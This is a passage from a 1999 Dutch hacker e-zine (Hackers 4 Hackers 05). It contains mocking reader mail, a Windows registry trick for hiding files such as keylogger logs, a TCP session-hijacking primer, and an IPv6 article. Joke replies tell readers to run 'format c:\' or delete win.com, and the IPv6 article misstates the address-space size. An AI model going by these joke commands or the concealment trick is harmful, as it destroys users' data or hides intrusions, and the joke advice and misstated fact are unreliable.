___ ___ _____ ___ ___ / | \ / | | / | \ / ~ \/ | |_/ ~ \ \ Y / ^ /\ Y / \___|_ /\____ | \___|_ / \/ |__| \/ +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+ |h|a|c|k|e|r|s| |4| |h|a|c|k|e|r|s| |0|5| +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+ http://www.hackers4hackers.org '30-12-1999' Om je aan te melden bij de maillijst kan je een mailtje sturen naar subscribe@hackers4hackers.org met als titel "subscribe h4h emailadres" Of je kan je online aanmelden op http://www.hackers4hackers.org Artikelen en dergelijke kun je mailen naar post@hackers4hackers.org Vragen kun je mailen naar de desbetreffende auteur of ook naar post@hackers4hackers.org Enkele interessante sites: http://itris.eu.org http://www.dutchthreat.org http://security.pine.nl http://www.hit2000.org http://hier.is/Triples http://www.casema.net/~gin http://www.whatis.com http://viper.dmrt.com http://viper.dmrt.com/usr Leuke kanaaltjes op IRCnet: #hit2000 #coders.nl 01. Disclaimer............................................... (Redactie) 02. Inleiding................................................ (Redactie) 03. Lezerspost............................................... (Redactie) 04. Verkiezing beste e-zine.................................. (Redactie) 05. Dag uit het leven van een social engineer - Dag 2........ (Mitsai) 06. Het Windows register gebruiken om bestanden te verbergen. (Armalite) 07. TCP/IP HIJACKING, deel 1: kennis vooraf.................. (Maniac) 08. Evenementen.............................................. (Redactie) 09. IP-ADRESSERING IN IP VERSIE 6.0.......................... (Zym0t1c) 10. Hackers 4 Hackers Mailinglist Hacked..................... (Tozz) 11. Bufferoverflows: 'da guide' - deel 1................... (dvorak) 12. Programmeren in Pascal 4................................. (RaViTy) 13. Wetsvoorstel Computercriminaliteit II.................... (Gerrie) --------------- 01. Disclaimer --------------- We zijn niet verantwoordelijk voor datgene wat jullie met deze informatie doen. Deze informatie dient alleen voor educationele doeleinden. Als je in problemen komt, kan je ons niks verwijten. Gebruik maken van deze informatie kan strafbaar zijn. Meningen van auteurs hoeven niet hetzelfde te zijn als die van de redactie. -------------- 02. Inleiding -------------- Momenteel zijn we bezig met heftige veranderingen binnen de redactie van H4H. We hebben de redactie van H4H uitgebreid naar 4 personen, te weten: Asby bermuda aka Berry da Clown ViPER Tozz Binnenkort komen we ook met een eigen domeinnaam, vertalen we alle H4H's ook in het Engels en krijgt de website een nieuwe lay-out. Nou alleen nog hopen dat er genoeg mensen voor H4H blijven schrijven zodat we vrolijk door kunnen gaan met H4H in elkaar te zetten. Bijna het jaar 2000, volgens sommige het begin van een nieuw millenium. Wat zal dit jaar ons brengen? Onheil? Rampspoed? Een nieuwe zonvloed? Of valt alles wel mee... Volgens kenners is Nederland zo goed als klaar voor het jaar 2000. Maar zijn andere landen dat ook? Ik kan me nog herineren dat in de zomer de Amerikaanse Senaat, alswel de Engelse regering de mensen voorstelden om zoveel mogelijk eten in te slaan in december. Was dit overdreven geroep van de politiek? Over overdreven geroep van de politiek gesproken. Hoe zit het met het wets- voorstel Computercriminaliteit II. Om dit te verduidelijken heeft Gerrie van Hit2000 een uitgebreid artikel erover geschreven. We wensen iedereen veel leesplezier toe en mochten er op of aan- merkingen zijn, surf dan even naar onze website en vul het in bij commentaar. De redactie --------------- 03. Lezerspost --------------- Hallo, [Hoi pipeloi] Ik ben Guy Haalebos [kut voor je] en ik wil graag weten hoe je hacker wordt en wat je daarvoor allemaal nodig hebt. [veel oefenen, want oefening baart kunst... zeggen ze en natuurlijk het belangrijkste, de nickname, verzin een elete nickname zoals C00LZ3R0 of 4C1DBURN..] Als je me terug wilt mailen graag. [publiekelijk voor lul zetten in H4H ook goed??] Guy Haalebos. [Asby] ---------- what do i need to do when mij site is hacked by flying weasel [Flying Weasel?? Is dat net zoiets als Super Grover??] i can't enter mij own web page anymore and also i want to fuck the hacker [Please, don't talk about your sexlife...] somehowe mij webpage is angelfire.com/on2/obiwan/index.html mij E-mail adress is bobafett78@msn.com or kayne@worldonline.nl [hmmzz.. worldonline.nl, waarom typ je dan in het engels??] ------------ hoi, [Hi] graag zou ik de exacte werking cq. uitleg willen hebben van netbus en back orifice. [Yes sir. Just throw them in Your Recycle Bin and Empty it... the a hidden textfile will appear and you will learn to conquer the world...] ook zou ik willen weten welke ip range ik moet gebruiken om er achter te komen welke machines geinfecteerd zijn. [127.*.*.* doet het altijd wel goed... daar zitten een stel lamers, dus wel ff hun harde schijf deleten he...] alvast bedankt voor je hulp, [graag gedaan...] sander [Asby] ------------ Hallo ik heb een paar vragen [daar was ik al bang voor...] als ik een anonieme mail wil schrijven staat er received op het telnet maar bij outlook expres staat er mail error mail returned hoe kan dat nou? [nou das logiesj... tis een simpel ABC'tje.. daar draait het om in de voetballerij] nog een vraagje moet je bij de hotmail e-mail adressen een streep eronder zoja hoe krijg je dat dan? [Ja, bij hotmailadressen moet er altijd een streep eronder, maar bij freemailadressen moet die streep er weer juist doorheen... get real...] ik begrijp niet echt hoe je met die poorten moet doen ik bedoel ik neem een ander poort dan 25 bijvoorbeeld 23 wat moet ik dan invullen bij term type???????? [Als ik je vorige vraag nog eens teruglees dan verbaast het me hele- maal niks dat je dat niet snapt...] bij voorbaat dank v.g. Derk [Ahh... Der Tampert] ------------ Beste Asby, [Formeel hoor] Ik zou graag een site hacken maar daarvoor heb ik iemand zijn paswoord voor nodig! [Bijvoorbeeld... maar dat hoeft niet...] Hoe kom ik zijn paswoord te weten? en zijne login natuurlijk [Ehh... van wie??] Weet jij ook nog een paar nederlandstalige sites waar info op staat over hacken? [ja, jij ook??] stuur deze info naaaaar joeri.vanthienen@vt4.net [als jij op de maillijst staat van H4H zal hij daar wel komen...] ----------- ik heb een heel simpele vraag, [gelukkig...] misschien vind je het te simpel om antwoord op te geven [laat maar zien dan..] maar ik hoop dat je me toch wilt helpen [ja is goed, wat is de vraag dan??] hoe kan ik achter het ip adres van een hotmail account komen [Sinds wanneer hebben hotmail accounts IP-adressen?] mijn e mail is j.a.hoekstra@chello.nl [Mijne post@hackers4hackers.org, maar dat wist je al dus] als je het wilt mailen alvast bedankt en anders bedankt voor het lezen [Graag gedaan hoor knul] ------------- Hoe kan ik achter het IP adres komen als iemand mij een mailtje heeft gestuurd? Ik kan het niet vinden, en het staat ook niet in de help. [hmmzz.. ik heb een deja vu... aah... agents... run... there is no spoon... there is no spoon... no spoon...] En hoe kan ik mijn hompage zo maken dat het IP adres wordt opgeslagen? [Als je van je hompage nu een homepage maakt ben je al een heel eind...] En hoe kan ik mijn homepage zo maken dat ik dat programma "bo.exe" ofzo wordt opgestart zonder dat ze het weten? [tiep in een DOS-prompt: format c:\ en dan een paar keer op enter rammen] Sander --------------- hallo ik kijk even op je pagine en ik vindt het tegek dat je dit doet maar ik had nog een vraag : [Ik vind dit ook te gek om te doen..... veel beter als een social life] ik wil c&c tiberian sun copieeren met mijn brander maar doet dit niet . hij kan iets niet vinden dan probeer ik het maar handmatig maar als ik hem later test geeft hij aan dat hij de cd niet kan vinden . [Sinds wanneer gaat H4H over het kopieren van cd's??] zou je alstjeblieft een oplossing voor mij kunnen vinden. volgens mij zijn deze beveiligd door ea electronics arts want Dungeon Keeper 2 kon ik ook al niet kopieren [Er zit een special krasje op de cd, die niet bij het kopieren wordt gekopieerd... om wel goed te kopieren doe het volgende: - stop de originele cd in de broodrooster, draai de broodrooster exact 43 seconden, niet langer, niet korter - doe hem dan in je brander en trek de originele files eraf en maakt daar een iso van - verwijder vervolgens in de directory c:\windows\ het bestand win.com, dit haalt de kopieer beveiliging weg - vervolgens doe je de lege cd erin en dan brand je de iso erop - en voila: een werkende copy] Bij voorbaad dank [Graad Gedaank] Keith ------------------ hoi, [Hoi] ik heb een paar vragen met betrekking tot netbus. ik was laatst lekker bezig om bi mensen in te breken en toen kreeg ik na 3 dagen een bericht van mijn provider dat ik niet meer netbus moest gebruiken anders werd mijn abonnement stop gezet! [en terecht] dit zijn mijn vragen: 1 hoe zien ze (mijn provider) dat ik bij mensen inlog? komt dat doordat ik steeds scan naar ips? of omdat iemand netbuster heeft geinstalleerd en daarmee mijn ip doorstuurt naar mijn provider? [Elke keer als jij netbus opstart dan gaat er een emailtje naar je provider met daarin al je persoonlijke gegevens. Dit hebben ze er express ingebouwd, zodat men er geen misbruik van zou maken.] 2 wat kan ik doen om ervoor te zorgen om niet door mijn provider gepakt te worden? [In plaats van Netbus winnuke gaan gebruiken, das veel stoerder] Ik heb overigens een loginnaam en een password gepikt bij iemand (hij was zo stom om een txt op zijn bureaublad te zetten met als naam password!!) [Hij is ten minste niet zo dom om Netbus te gebruiken] kan ik die misschien gebruiken om niet gepakt te worden? [Misschien wel of misschien niet, that's the question...] ik zit trouwens bij casema in Den Haag. [Ik bij Multiweb in Hoorn, ruilen?] o nog iets over netbus ik zelf gebruik versie 1.7 die werkt maar ik krijg 2.0 niet aan de praat en iedereen die ik ken ook niet, werkt dat proggy wel? [Zolang ie het niet doet, werkt hij perfect...] thanx, S.ay [np] --------- Vraag van een newbie-hacker : Als je een "brute force hacking" programma gebruikt en zo'n 1000 keer een username/password combinatie ingeeft wordt je IP adress dan telkens (zo'n 1000 keer dus) geregistreerd? M.a.w. wordt het dan niet al te gemakkelijk om de hacker te identificeren? [Antwoord van een pro-lamer: Ja] ---------- Beste Asby, [Ik voel mij vereerd.. wat krijg ik veel mail met Beste Asby als aanhef..] Ik zit met een probleempje waarbij jullie mij mischien zouden kunnen helpen. [Waarschijnlijk niet... anders had je hier niet gestaan...] Ik heb het programma CDRWIN via een kennis verkregen. [Cool... ik heb een chocoladeletter van Sinterklaas gehad... om ook wat zinvolle informatie te spuien...] Alleen zit daar een registratienummer op wat niet werkt. [Hmmz... registratienummer.. dan moet je registreren en meestal ook geld betalen... misschien ligt daar het probleem...] Hebben jullie de mogelijkheid uit te zoekn, cq een andere code te creeren voor dit programma. [Tuurlijk joh... ff wachten, pak ik mijn dobbelsteen... 1-3-5-6-4-3] Dan kan ik tenminste mijn Cdwriter voor de volle 100% gebruiken. [Momenteel gebruik je hem zeker voor 50%? Dan kan je zeker maar een halve cd mee schrijven ipv een hele?] Want met Easy cd creator en Nero krijg ik alleen maar foute cd's gemaakt. [Ja, die programma's werken ook niet natuurlijk. Die zijn er voor ge- maakt om te zorgen dat je foutbranders krijgt...] Laat het me even horen aub. Mijn Emailadres is pevani@westbrabant.net [Mijne post@hackers4hackers.org, maar dat wist je al, he] Alvast bedankt. Peter van Ineveld. --------------- *************************** ViPER's eerste fanmail ************************** From: wim vannieuwenborgh To: ViPER Sent: zondag 7 november 1999 16:10 Subject: Re: #alt.hack.nl > yo, Hi > ik heb zonet dit gevonden in een nieuwsgroep op het net, wat is een dit > omdat ik graag zou > leren hacken. Jaja > Wat is eigenlijk hacken? Hacken is een afkorting van H openloos A chter C onsole K looien E igenlijk N utteloos > Kan jij mij de beginselen leren of bestaat er > ergens een site waar je dit kunt leren. http://www.amazon.com/exec/obidos/ASIN/0764502611/o/qid=942006090/sr=8-1/002 -8971698-9199438 > Ik weet dat het idioot klinkt, Oh ,ok dat scheelt. > maar ik zou het erg graag kunnen, maar ja, je > moet het een keer leren hé. nee > mail me > > wim ViPER - DMRT *************************** ViPER's eerste fanmail ************************** ---------------------- Beste lezer, [das de eerste die verwacht dat ie in H4H komt...] ik ben Emile ik ben 14 jaar en ik wil mij meer gaan verdiepen in hacken. [je bent een van de weinige...] Ik wil u vragen of u per e-mail mij wat tips en uitleg kunt geven. [nope...] Ik stuur deze e-mail nadat ik op uw site ben geweest en de newbees hacker krant had gelezen geladen ik ben op school al aardig opweg met het stiekem bekijken van de surfer of hoofd computer door paswoorden te kraken enz. ik heb zelfs al mijn eigen website gebouwd weet u nog wat leuke tips ofzo wilt u deze dan naar:emile@lieferink.tmfweb.nl stuuren (kleine programmatjes mag ook) maar als u daar geen zin in hebt hoeft het ook niet maar ik zou wel wat tips kunnen gebruiken [wat een lange zin zeg... ] GROETJES: Emile Lieferink [Asby] O ja heeft u ook een handleiding van het programmatje bo2k ik snap er geen reet van [hmmz... misschien moet je toch maar een abbo op de Donald Duck nemen..] ------------------ ik heb een vraag . [tja... er zijn er wel meer] ik volg je hackergids en dan kom ik bij frontpage ik vol alles stap voor stap ik open een bestand en dan wil ik :0:0:enz. maar dat gaat niet want ik kan daar niets typen. wat moet ik dus dan doen. [geen idee] bel even op 07*-6*1*8*3 want kan even geen email ontvangen [maar wel mail verzenden?] email g.ploegers@wolmail.nl [en net moest ik nog bellen?] -------------------- Hoi [hey] Ik heb je site bezocht en ik wou vragen hoe je nu het nummer bijv. 213.2234.4245.23 Te weten kunt komen bij een naam. [Kijk eens in het telefoonboek] En werkt dit ook bij bijv. freemail of andere email's Bedankt. Mijn email adres: 374@freemail.nl [Waarom denkt iedereen dat ik hun emailadres wil weten?] --------------- ok wat als ik een ip adres heb van een andere computer? wat dan? [hangt er net vanaf wat je wilt. Je kan het opschrijven in een speciaal IP-adressenboekje, te koop bij de betere boekhandel] ik kan dan wel pingen maar verder? hoe kom ik er dan eventueel in? [In een IP-adres? Hoe wilde je dat doen?] heel veel verstand heb ik nog niet van maar ik ben wel nieuwsgierig naar de mogelijkheden [dat vermoeden had ik al dat je er geen verstand van had] groeten slash [Koele nicknaam] ------------------ Hoi, kun jij mij nichien wat informatie over hacken trug stuurn ??? [nee, ik nie kunn trug stuurn hack onfirmetai] Jesse ---------------------------- 04. Verkiezing beste e-zine ---------------------------- Het e-zine SmallZine (16.000 abonnees) zorgt dit jaar voor de verkiezingen van het e-zine van het jaar. Ook Hackers 4 Hackers (470 abonnees) dingt mee naar de prijs E-Zine van het jaar. Evenals bij de vorige verkiezingen bepalen de lezers van de Nederlandstalige e-zines welk e-zine zich dit jaar het e-zine van het jaar mag noemen. Dat doen zij door een stem uit te brengen op hun favoriete e-zines via het stemformulier op de site van SmallZine (de link daarnaar staat onderaan dit artikel). Stemmers moeten minimaal twee en maximaal drie e-zines selecteren. Daarnaast moet de stemmer een geldig e-mailadres invullen. Naar dit adres zal meteen na het uitbrengen van een stem automatisch een bericht verstuurd worden. Als je meer dan een keer stemt, geldt alleen de laatste stem. Het is niet toegestaan om meer dan een stem uit te brengen, bijvoorbeeld door vanaf verschillende e-mailadressen te stemmen. Onder de stemmers zullen 25 abonnementen op het tijdschrift 'Internet Gids' verloot worden. Deze abonnementen worden ter beschikking gesteld door Mister Mail. SmallZine zal na de verkiezingen contact opnemen met de 25 gelukkigen. Om elke schijn van partijdigheid te vermijden, heeft SmallZine zichzelf uit- gesloten van deelname. Ook de e-zines die Mister Mail uitgeeft, zijn om die reden niet verkiesbaar. Andere e-zines die niet mee willen doen aan de verkiezingen, kunnen dat laten weten door een mailtje te sturen aan de redactie van SmallZine: redactie@smallzine.nl De bijna 250 e-zines die meedoen aan de verkiezingen, mogen hun lezers oproepen een stem uit te brengen. Ook kunnen de deelnemende e-zines een button op hun site plaatsen die verwijst naar de verkiezingspagina bij SmallZine. Stemoproepen buiten het e-zine (bijvoorbeeld in nieuwsgroepen) stelt de redactie van SmallZine minder op prijs en kunnen reden zijn voor uitsluiting van de verkiezing. Ook als er sprake is van 'valsspelen' kan de redactie van SmallZine besluiten een e-zine uit de verkiezing te nemen. Winnaar van de verkiezing is het e-zine met de meeste punten. In 1997 was dat het legendarische e-zine de Daily Planet. Het al net zo legendarische e-zine Shift werd dat jaar tweede. Vorig jaar ging de prijs naar een Belgisch e-zine: De Cursor. De nieuwsbrief van WebWereld werd tweede. Dit jaar belooft het net als vorig jaar een nek-aan-nek-race te worden. Een stuk of tien e-zines maken allemaal een goede kans op de titel 'E-zine van het Jaar 1999'. Aan de eerste verkiezingen, die in 1997 werden gehouden, deden er ruim 70 e-zines mee. Vorig jaar liep dat aantal op tot 170. Aan het begin van deze verkiezingen zijn er zo'n 250 e-zines bekend bij de redactie van SmallZine. De ervaring van de voorgaande twee verkiezingen leert ons dat er altijd e-zines ontbreken in onze lijst. Ken je een e-zine dat niet in onze lijst staat, dan kun je dat ons laten weten door het aanmeldingsformulier voor e-zines op onze site in te vullen. Om in de lijst opgenomen te worden, moet een e-zine Nederlandstalig zijn, tenminste eenmaal verschenen zijn, verstuurd worden per e-mail en een site hebben waarop we deze zaken kunnen controleren. De verkiezing loopt vanaf vandaag, 7 november, tot en met zondag 26 december middernacht. Op 2 januari zal de uitslag in het januarinummer van SmallZine bekend gemaakt worden. De redactie van het winnende e-zine ontvangt een beker uit handen van de redactie van SmallZine. Hackers 4 Hackers: http://www.hackers4hackers.org Stemformulier: http://www.smallzine.nl/verkiezing/ Database met Nederlandstalige e-zines: http://www.smallzine.nl/e-zines/ Button voor deelnemende e-zines: http://www.smallzine.nl/load.html?verkiezing/button.html -- Bron: SmallZine ------------------------------------------------------- 05. Dag uit het leven van een social engineer - Dag 2 ------------------------------------------------------- hmzz drukke dag vandaag, denkt de se,vandaag is t hardwareday, net zoiets als oorlog altijd;p eerst koffie zetten, en dan nu het ene bakbeest openmaken. handig, geen schroeven meer, en de kap is er zo af.PIEPIEP! gsm! waar ligt dat ding nou weer, denkt ze, ah "ja?" "yo met ***,kan je ff iets voor me nakijken?" Nou ja dat kan wel ff tussendoor, en de se pakt de telefoon maar weer, en gaat ff wat nummers bellen."Hebbes!"Na een uurtje of 2 bellen en vooral zeuren heeft ze de belofte om een kopie van een dossier te krijgen, zo direct meteen ff ophalen denkt ze. Eerst de hardware..simmetjes (ja sommigen hebben die nog;)) erbij proppen moet makkelijk zijn,vaker gedaan.Eerst de oude eruit halen.. KRAK! ahum iets te hard eraan gerukt ofzo, naja de nieuwe erin proppen beetje plakband doetweer wonderen.ff opstarten....YES het werkt! Net als ze tevreden een slok koffie wil pakken gaat de gsm weer. woops, de provider aan de lijn, " er is met uw abo gehacked" "gvd dan hebben ze in mn computer ingebroken! ik weet van nix!" "oww verandert u uw pass dan, dan komt het wel goed" phew, eikels daar ;p Even op IRC kijken..aargh lamers allert, alweer die ene knakker.. "ze hebben me gehacked" met wat dan? netbus.. wheehe, dat gebeurt elke dag, paranoide ventje. en een hooginteressante chat:hoi m/v? wie ben je?, hoe oud ben je ?kom je vandaan? argh lamerzz leave me alone! zucht, maar ff de boel wat terroriseren op n private chatservertje take overs lame , maar wel lekker om je uit te kuren zo afen toe;p snachts wordt hetpas echt leuk op irc.bots zijn kewl, en zo is het weer 5 uur geworden en stoned en half dronken zoekt de se haar bed (het staat er nog;))en valt in slaap.. Mitsai -------------------------------------------------------------- 06. Het windows register gebruiken om bestanden te verbergen -------------------------------------------------------------- Dit stukje text gaat over een stukje register dat men kan gebruiken om oa bestanden te verbergen. Ik heb het uitgetest op windows 95 en 98, maar heb zelf geen NT, maar ik ga ervan uit dat het op dat systeem ook wel zal werken. T is allemaal best wel simpel maar omdat ik het nog nergens gelezen, ga ik jullie er maar mee vermoeien. Als we kijken naar een windows systeem waar internet explorer is geinstal- leerd dan staat er meestal een snelkoppeling op het bureaublad. Dit is geen bestand zoals een normale snelkoppeling maar een link die gedefineerd is in het register. Als we het register bekijken (regedit.exe is een standaard programma waarmee je het register kan openen/bewerken) en gaan zoeken naar 'Internet Explorer'. Het adres is: HKEY_CLASSES_ROOT\CLSID\{FBF23B42-E3F0-101B-8488-00AA003E56F9} Het laatste stuk: {FBF23B42-E3F0-101B-8488-00AA003E56F8} is het belangerijkst. Als je op het bureaublad een nieuwe map aanmaakt en hem test.{FBF23B42-E3F0-101B-8488-00AA003E56F9} noemt, zal je zien dat het mapicoontje vervangen wordt door een internet explorer icoontje. Ook als je het aanklikt wordt i.e. gestart. Van dit principe maken we gebruik als we een bestand willen verstoppen (bv keylog bestanden op NT). Laten we in regedit de map(sleutel) dubbelklikken {FBF23B42-E3F0-101B-8488-00AA003E56F9}. En dan zien we een aantal submappen (subsleutels). De belangerijkste zijn: Defaulticon en Shell. Bij defaulticon zal je bij de (standaard) waarde het icoonbestand zien. ------------------------------------------------- {FBF23B42-E3F0-101B-8488-00AA003E56F9} | | |-Defaulticon ------- (standaard) "C:Program Files\Internet Explorer\iexplore.exe,-32528" | | |-------Shell | | ---Open | | ----Command-----(standaard) "C:\Program Files\Internet Explorer\IEXPLORE.EXE" (mijn register kan verschillen van de jouwe, zoek een andere snelkoppeling, bv voor mp3speler) -------------------------------------------------- Oftewel het icoontje en het programma dat uitgevoert dient te worden. Willen we een bestand verbergen dan doen we dit. We maken een map, stoppen er een paar geheime bestanden in, bv: c:\backup We maken een tweede map: c:\windows\system Wat we gaan doen is dit: We zorgen dat c:\backup naar c:\windows\system linkt. En dat doen we via het register op dezelfde manier zoals het icoontje naar i.e. linkt. Eest stoppen we een nieuwe sleutel in de \HKEY_CLASSES_ROOT\CLSID sleutel(dmv regedit). We noemen het: {FBF23B42-E3F0-101B-8488-00AA003E58F9} (maak eerst een backup met van t register mbv regedit) type bij (standaard): Map Bestand We maken twee subsleutels nl: Defaulticon en shell In shell stoppen we een subsleutel, nl Open. In open stoppen we een subsleutel, nl Command Bij defaulticon typen we bij (standaard): c:\windows\system\shell32.dll,3 dit is het standaardicoon voor een map Bij command typen we bij (standaard): c:\windows\system : ----------------------------------- {FBF23B42-E3F0-101B-8488-00AA003E58F9}-----------(standaard) "Map Bestand" | | -Defaulticon-------------(standaard)"c:\windows\system\shell32.dll,3" | | |-----Shell | --Open | | --Command--------------(standaard)"c:\windows\system" ---------------------------------------- Nu stoppen we EERST de bestanden in c:\backup en dan pas hernoemen we de map naar: backup.{FBF23B42-E3F0-101B-8488-00AA003E58F9} Tadaa, als je c:\backup dubbelklikt krijg je de bestanden in c:\windows\system te zien. Natuurlijk is dit verre van een goed systeem om je bestanden te verbergen, hoewel de registerextentie niet in de GUI van windows zal verschijnen, zal dit wel tevoorschijn komen in DOS, of bij eigenschappen. Als je maar zorgt dat het een diepe dir word zal ie niet snel gevonden worden, en dan nog zullen de bestanden niet verschijnen als de admin de map simpelweg dubbelklikt.. Idee en text: Armalite (iets te zeggen?: zit heel vaak in het weekend op irc, undernet, kanaal #hackuk) --------------------------------------------- 07. TCP/IP HIJACKING, deel 1: kennis vooraf --------------------------------------------- Voordat ik begin met de uitleg over een Hijack eerst even wat basiskennis over het TCP protocol. In deze tekst ga ik er telkens vanuit dat het ene punt van de connectie dient als server (telnet/ftp/smtp etc) en de andere als client. De volgende termen worden gebruikt: SVR_SEQ: Sequence nummer van de volgende byte die moet worden verzonden door de server SVR_ACK: Volgende byte die moet worden ontvangen door de server (Sequence nummer van de laatste byte + 1) SVR_WIND: Server's ontvangst windows CLT_SEQ: --\ CLT_ACK: ---> Wijzen nu dus voor zich. (zelfde als voor SVR) CLT_WIND:--/ Als er geen connectie is tussen de server en de client geldt: SVR_SEQ = CLT_ACK en CLT_SEQ = CLT_ACK Dit geldt ook als de connectie "quiet" (geen dataoverdracht) is. Tijdens de dataoverdracht geldt dit dus niet. De TCP packet header fields zijn: Source Port: Het poortnummer van de bron Destination Port: Het poortnummer van het doel Sequence Number: Het sequence nummer van de 1e byte in deze (data)packet Acknowledgment Number: Het verwachte sequence nummer van de volgende te ontvangen byte. Data Offset: Offset van de data in de packet Control Bits: URG: Urgent Pointer ACK: Acknowledgment PSH: Push Function RST: Reset de connectie SYN: Synchronize de sequence nummers FIN: Einde data van de bron Window: Window grootte van de bron Checksum: TCP checksum van de header en de data Urgent Pointer: TCP urgent pointer Options: TCP optoins Tot zover de gebruikte termen, nu eindelijk de uitleg over TCP: TCP gebruikt een zogenaamd "Three-way handshake" om een connectie te krijgen. Als we er vanuit gaan dat er nog geen data tussen de server en client is uitgewisseld en de client een connectie met de server aangaat, gaat dit als volgt: - de connectiestatus van de client staat op CLOSED (er is nog geen data verzonden) - de connectiestatus van de de server staat op LISTEN ('s logisch, de server verwacht connecties, dus zal ie er naar "luisteren") Omdat de client een connectie wil leggen, zal die als eerste data moeten verzenden. Hij stuurt als eerste z'n initial sequence nummer en set de SYN bit: SEG_SEQ = CLT_SEQ_0 (SEG_SEQ: vewijst naar het packet sequence nummer) SEG_FLAG = SYN (SEG_FLAG: verwijst naar de control bits) De connectiestatus van de client is nu SYN-SENT, die van de server nogsteeds LISTEN. Als de server dit ontvangen heeft accepteerd ie de client sequence nummer (of niet natuurlijk) en stuurt ie z'n eigen initial sequence nummer en set de SYN bit: SEG_SEQ = SVR_SEQ_0 SEQ_ACK = CLT_SEQ_0+1 (SEQ_ACK: verwijst naar het packet ack. nummer) SEG_FLAG = SYN en SVR_ACK wordt dus geset op CLT_SEQ_0+1 De connectiestatus van de client is nu SYN-RECEIVED en die van de server nogsteeds LISTEN. De client accepteerd dit packet (verwackte sequence nummer komt overeen) en stuurt het volgende naar de server: SEG_SEQ = CLT_SEQ_0+1 SEQ_ACK = SVR_SEQ_0+1 en CLT_ACK = SVR_SEQ_0+1 De connectiestatus van zowel de server als de client is nu ESTABLISHED. We hebben nu dus: CLT_SEQ = CLT_SEQ_0+1 CLT_ACK = SVR_ACK_0+1 SVR_SEQ = SVR_SEQ_0+1 SVR_ACK = CLT_SEQ_0+1 Als een connectie zich in de ESTABLISHED status bevindt, word een packet geaccepteerd als het in het verwachte segment valt: voor de server is dit: [SVR_ACK, SVR_ACK + SVR_WIND] voor de client is dit: [CLT_ACK, CLT_ACK + CLT_WIND] Als het sequence nummer buiten deze limieten komt, wordt het packet gewoon genegeerd, naja genegeerd, hij wordt gedropped (is dit nederlands??) en een ACK packet wordt verzonden die het verwachte sequence nummer gebruikt. Voorbeeld: Stel je hebt SEG_SEQ = 200 SVR_ACK = 100 SVR_WIND = 50 dan is dus SEG_SEQ > SVR_ACK + SVR_WIND. Het packet valt dus buiten de bovengenoemde limiet dus vormt de server een ACK packet met SEG_SEQ = SVR_SEQ SEG_ACK = SVR_ACK Dit is dus wat de server op dat moment voor packet verwacht (Hee, das handig om te weten) Om nu een Hijack te plegen moet je de connectie in de desynchronized state krijgen. Huh was dat nou weer?? Je noemt een connectie desynchronized als alle 2 de partijen geen data uitwisselen en ESTABLISHED zijn, tevens moet gelden: SVR_SEQ != CLT_ACK & CLT_SEQ != SVR_ACK. Een derde partij (in dit geval de hacker/hijacker) neemt op dat moment de connectie over door acceptbele packets naar de server te sturen. De desynchronized state is stabiel totdat er data wordt verzonden. Er kunnen dan 2 dingen gebeuren: - als CLT_SEQ < SVR_ACK + SVR_WIND en CLT_SEQ > SVR_ACK wordt het packet geaccepteerd, MAAR de data wordt niet gebruikt omdat het begin van de stream (sequence nummer SVR_ACK) ontbreekt. - Als CLT_SEQ > SVR_ACK + SVR_WIND of CLT_SEQ < SVR_ACK wordt het packet gedropped. In beide gevallen is datauitwisseling dus niet mogelijk. Hoe je de status desynchronized krijgt wordt later uitgelegd. Tot zover de kennis vooraf, in het volgende deel zal de daadwerkelijke attack aan de beurt komen. Maniac (0holster01@flnet.nl) ---------------------- 08. Evenementen ---------------------- --Klaphek Meeting Zondag 16 Januari 2000-- De tweede Klaphek Meeting in vernieuwde vorm zal plaatsvinden op Zondag 16 Januari. Jawel, op Zondag! Die dag waarop je je normaal alleen maar zit te vervelen! Maar de ontmoetingsplaats blijft wel hetzelfde, namelijk het Centraal Station in Utrecht, voor het GWK kantoor in de stationshal. We verwachten jullie daar om 14:00 te ontmoeten. Dus gewoon op dat groepje "verdachte" personen aflopen. Zij zijn er ook alleen maar om elkaar een keer te ontmoeten en wat informatie uit te wisselen of te discussieren over onderwerpen die hen bezighouden. 't Klaphek hoopt dat hieruit enkele interessante projecten voortvloeien, en wil lezers aanzetten tot het schrijven van artikelen. Uiteraard is een gezellige middag met mensen met dezelfde interesses ook altijd erg leuk. Wij verzamelen dus om 14:00 voor het GWK in de stationshal. Van hieruit zullen wij bekijken wat we gaan doen. Afhankelijk van de grote van de groep kunnen wij beslissen om de stad in te gaan. Komt Allen! Centraal Station Utrecht Zondag 16 Januari Stationshal voor GWK 14:00 UUR --Discex 2000-- Darpa Information Survivability Conference and Exposition Datum: 25-01-2000 t/m 27-01-2000 Lokatie: Crown Plaza Resort - Hilton Head Island, Hilton Head Island,, NL Homepage: http://schafercorp-ballston.com/discex/ --ISOC Netw. & Distr. Sys. Security Symp. (NDSS 2000)-- The 7th annual NDSS Symposium brings together researchers, implementers, and users of network and distributed system security technologies to discuss today's important security issues and challenges. The Symposium provides a mix of technical papers and panel presentations that describe promising new approaches to security problems that are practical and, to the extent possible, have been implemented. NDSS fosters the exchange of technical information and encourages the Internet community to deploy available security technologies and develop new solutions to unsolved problems. Datum: 02-02-2000 t/m 04-02-2000 Lokatie: Catamaran Resort Hotel, San Diego, California, US Homepage: http://www.isoc.org/ndss2000 (Bron: security.pine.nl en www.klaphek.nl) ------------------------------------- 09. IP-ADRESSERING IN IP VERSIE 6.0 ------------------------------------- by Zym0t1c Momenteel steunt de IP-adresseringsmethode versie 4.0 (IPv4) nog op 32-bits adressen. Deze werd rond de jaren '70 ingevoerd en is sindsdien ongewijzigd gebleven. Er werd geen rekening gehouden met de explosieve groei van het Internet met als resultaat dat de IP-adressen stilaan uitgeput geraken. Om die reden is er een nieuwe versie van ontwikkeld: IPv6, ooit aangeduid als IP - The Next Generation (IPng). In IPv6 worden zestien octetten gebruikt, uitgeschreven als acht octetparen, gescheiden door dubbelepunten. Deze octetten worden weergegeven in hexa- decimale notatie, bijvoorbeeld: 3104:AE67:AD47:6C45:420F:A769:440F:A7E6. IPv6 biedt verschillende voordelen zoals een sterk uitgebreide adresruimte (viermaal zo groot als IPv4), een vereenvoudigde headeropmaak, ondersteuning voor tijdsafhankelijk verkeer en de mogelijkheid voor toekomstige uitbrei- dingen. IPv6 is wel niet compatibel met de tot nu toe gebruikte IPv4, waardoor het een tijdje zal duren vooraleer IPv6 IPv4 volledig vervangen zal hebben. In IPv6 worden 128-bits bron- en bestemmingsadressen gebruikt, waardoor er 3e38 combinaties mogelijk zijn. 